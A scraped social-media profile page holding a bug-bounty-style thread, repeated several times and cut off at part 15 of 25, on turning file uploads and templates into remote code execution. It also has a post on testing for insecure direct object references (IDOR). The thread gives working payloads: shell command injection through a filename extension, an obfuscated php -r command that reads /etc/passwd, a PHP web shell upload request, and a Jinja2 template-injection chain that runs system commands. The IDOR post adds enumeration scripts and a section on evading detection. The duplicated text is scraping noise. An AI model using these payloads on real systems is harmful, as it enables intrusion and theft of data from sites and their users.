![TheMsterDoctor1's tweet photo. From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
•pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
email_to=test@example.com&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview](https://pbs.twimg.com/media/GoZIMAeWgAApgEV.jpg)
![TheMsterDoctor1's tweet photo. From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
•pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
email_to=test@example.com&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview](https://pbs.twimg.com/media/GoZIMAeWIAA6w4A.jpg)
![TheMsterDoctor1's tweet photo. From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
•pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
email_to=test@example.com&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview](https://pbs.twimg.com/media/GoZIMAdWoAADlLW.jpg)
Olivia
Online
iOxsec
@iOxsec
Deepak Maurya | Cyber_Sec | Gamer
Joined August 2022
261 Following
37 Followers
321 Posts
I just solved Pterodactyl on Hack The Box! https://t.co/lL92dboUm3 #HackTheBox #HTB #CyberSecurity #EthicalHacking #InfoSec #PenTesting
I just solved WingData on Hack The Box! https://t.co/qvAi7p9Axg #HackTheBox #HTB #CyberSecurity #EthicalHacking #InfoSec #PenTesting
Completed the 'Impact' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Data Dome' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Coffee Shop' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Bot Busters' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Management' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Continental' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Completed the 'Chemy' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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👉 Repost + Like + Comment “ME”
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💾🧠💀
#OSCP #BugBounty #RedTeam #EthicalHacking #CyberSecurity #InfoSec
Completed the 'Carp' scenario on Hackviser - engaging and realistic cyber challenges 🏆
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Advanced IDOR Testing Techniques
To go beyond basic enumeration, advanced IDOR exploitation often involves a mix of automation, intelligent fuzzing, session manipulation, and deep endpoint analysis.
⸻
1. Baseline Recon and Session Mapping
Objective: Identify user-specific endpoints and gather tokens or session cookies.
Tools:
•Burp Suite Pro (with extensions like Autorize, Logger++, Turbo Intruder)
•Postman / cURL for repeatable API testing
Steps:
1.Log in as a normal user (User A).
2.Capture a baseline of all HTTP requests while navigating order history, profile page, downloads, etc.
3.Note key parameters such as user_id, order_id, invoice_id, or any URL path variables.
⸻
2. Authorization Bypass Using Burp Suite + Autorize Extension
Objective: Detect access control failures by replaying user requests using another user’s session.
Setup:
•Open Burp → Extender → Install Autorize
•Login as User A and record session cookies.
•Open another browser (or incognito) and login as User B.
Steps:
1.Intercept requests from User A.
2.Copy User B’s session cookies into Autorize.
3.Replay User A’s requests using User B’s session.
4.If User B can access User A’s data, an IDOR is confirmed.
⸻
3. IDOR Fuzzing Using Turbo Intruder
Objective: Automate high-speed parameter tampering and detect unauthorized access at scale.
Example Script (Turbo Intruder):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=10,
pipeline=False)
for i in range(10000, 10500): # Order numbers range
engine.queue(target.req, [str(i)])
def handleResponse(req, interesting):
if 'John Doe' in req.response: # Keyword from known user's data
table.add(req)
Replace 'John Doe' with a keyword known to be associated with another account (like known shipping address or email domain).
⸻
4. Manual Proof of Concept
Vulnerable Endpoint:
GET /myaccount/orders/10245 HTTP/2
Host: https://t.co/tnQzP1TPbP
Cookie: session=abc123xyz
PoC with cURL:
curl -X GET \
https://t.co/C6GAudHuDi \
-H 'Cookie: session=abc123xyz'
•If the server returns another user’s data, it confirms IDOR.
⸻
5. Exploiting PDF Download IDOR
Vulnerable Endpoint:
GET /invoices/pdf/1434532.pdf HTTP/2
PoC Bash Script:
for i in {1434500..1434600}
do
curl -s -o invoice_$i.pdf https://t.co/4xY6aDae1m --cookie "session=abc123xyz"
pdfinfo invoice_$i.pdf | grep -q "Customer Name: John" && echo "Found: invoice_$i.pdf"
done
•This checks each PDF for a known target’s name, validating access without bruteforcing content.
⸻
Advanced Techniques for Detection Evasion
•Token Smuggling: Some apps use temporary tokens in URLs. Attempt reusing or modifying token+ID combinations.
•Multi-Step Workflows: If data is exposed over multiple requests (e.g., generate link → fetch file), try replaying each step independently.
•GraphQL IDORs: In GraphQL APIs, test mutations or queries that leak objects by altering id fields manually or via introspection (if allowed).
•JWT Claims: Modify decoded JWT tokens to impersonate other users if roles or user IDs are embedded in plaintext without signature validation.
⸻
How to Report Responsibly (Bonus)
If discovered during testing:
•Prepare a report with:
•Affected endpoint(s)
•PoC requests and responses (screenshots or logs)
•Severity rating (typically High or Critical)
•Suggested fix: e.g., implement object-level access control on the backend.
⸻
From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
•pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
[email protected]&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview
![TheMsterDoctor1's tweet photo. From Upload to Shell: Advanced RCE Techniques via File Extensions, PHP Uploads, and SSTI Exploitation
[1/25]
[Advanced Thread]
How I escalated three common web app features into full Remote Code Execution:
https://t.co/DmYCM400sz injection via filename extension
2.Arbitrary PHP file upload
3.SSTI with Jinja2 using subclass traversal
All exploitable in the wild. Full payloads included.
#RCE #BugBounty #SSTI #InfoSec #CTF
⸻
[2/25]
Let’s start with the most overlooked injection point in web apps:
The file extension.
Seems harmless, right? But here’s how I used it to inject shell commands in a real-world PHP app.
⸻
[3/25]
Vulnerable PHP Logic:
$ext = pathinfo($file["name"], PATHINFO_EXTENSION);
$filepath = $base_dir . uniqid() . '.' . $ext;
$command = "ffprobe -i \"$filepath\" ...";
shell_exec($command);
•pathinfo() pulls the extension from the uploaded filename
•No sanitization
•Extension is passed directly to the shell via shell_exec()
⸻
[4/25]
Since pathinfo(..., PATHINFO_EXTENSION) simply extracts everything after the last dot, an attacker can control the “extension”.
So we upload a file named:
02.mp3\";id;#
Which becomes:
ffprobe -i "/uploads/abc.mp3\";id;#"
RCE triggered. Output returned.
⸻
[5/25]
Now let’s get serious.
We want to exfiltrate /etc/passwd, but characters like / and . can break the extension field.
Let’s bypass using PHP’s chr() function and inline code execution with php -r.
⸻
[6/25]
Payload:
$sl=chr(47);$dot=chr(46);
echo shell_exec("cat ${sl}etc${sl}passwd");
Inject it:
02.mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec("cat ${sl}etc${sl}passwd");';#
Shell-safe, obfuscated, and effective.
⸻
[7/25]
Next up: a classic, but still alive in many environments…
Arbitrary PHP File Upload
Most commonly seen in legacy CMS, admin tools, or DIY panels.
Still being exploited today.
⸻
[8/25]
The setup:
•App accepts image uploads to /uploads/images/
•No MIME type check
•No filename sanitization
•Folder has execution permissions
Perfect conditions for an attacker.
⸻
[9/25]
HTTP Upload Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php system("cat /etc/passwd"); ?>
--boundary--
⸻
[10/25]
Response:
HTTP/1.1 200 OK
...
Image path: /uploads/images/rce.php
When accessed in the browser:
GET /uploads/images/rce.php
PHP is interpreted. Command executed. Full contents of /etc/passwd returned.
⸻
[11/25]
This vulnerability is devastatingly simple yet common.
It enables:
•Code execution
•Reverse shells
•Lateral movement
•Internal pivoting
•Persistent backdoors
Let’s elevate it further.
⸻
[12/25]
The final case:
Server-Side Template Injection (SSTI)
— aka “RCE as a feature”
It’s what happens when template engines execute unsanitized user input as code.
⸻
[13/25]
Context:
A web app allows employees to customize emails using templates.
Under the hood: Jinja2 (Python-based).
Vulnerable field:
Hello {{ https://t.co/Ecmv6ScdPM }}
What if I replace https://t.co/Ecmv6ScdPM with a payload?
⸻
[14/25]
Start with something basic:
{{ 7*7 }}
Output:
Hello 49
You’re now executing code inside the template engine.
Let’s go deeper: spawn a system command.
⸻
[15/25]
Full SSTI Exploit Request:
POST /emails HTTP/1.1
Host: https://t.co/6EvyQYfo1u
Content-Type: application/x-www-form-urlencoded
email_to=test@example.com&
content=Hello+{{https://t.co/Ecmv6ScdPM}}+
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('whoami').read() }}
{% endif %}
{% endfor %}&
action=preview](https://pbs.twimg.com/media/GoZIMAeXMAEXM0b.jpg)
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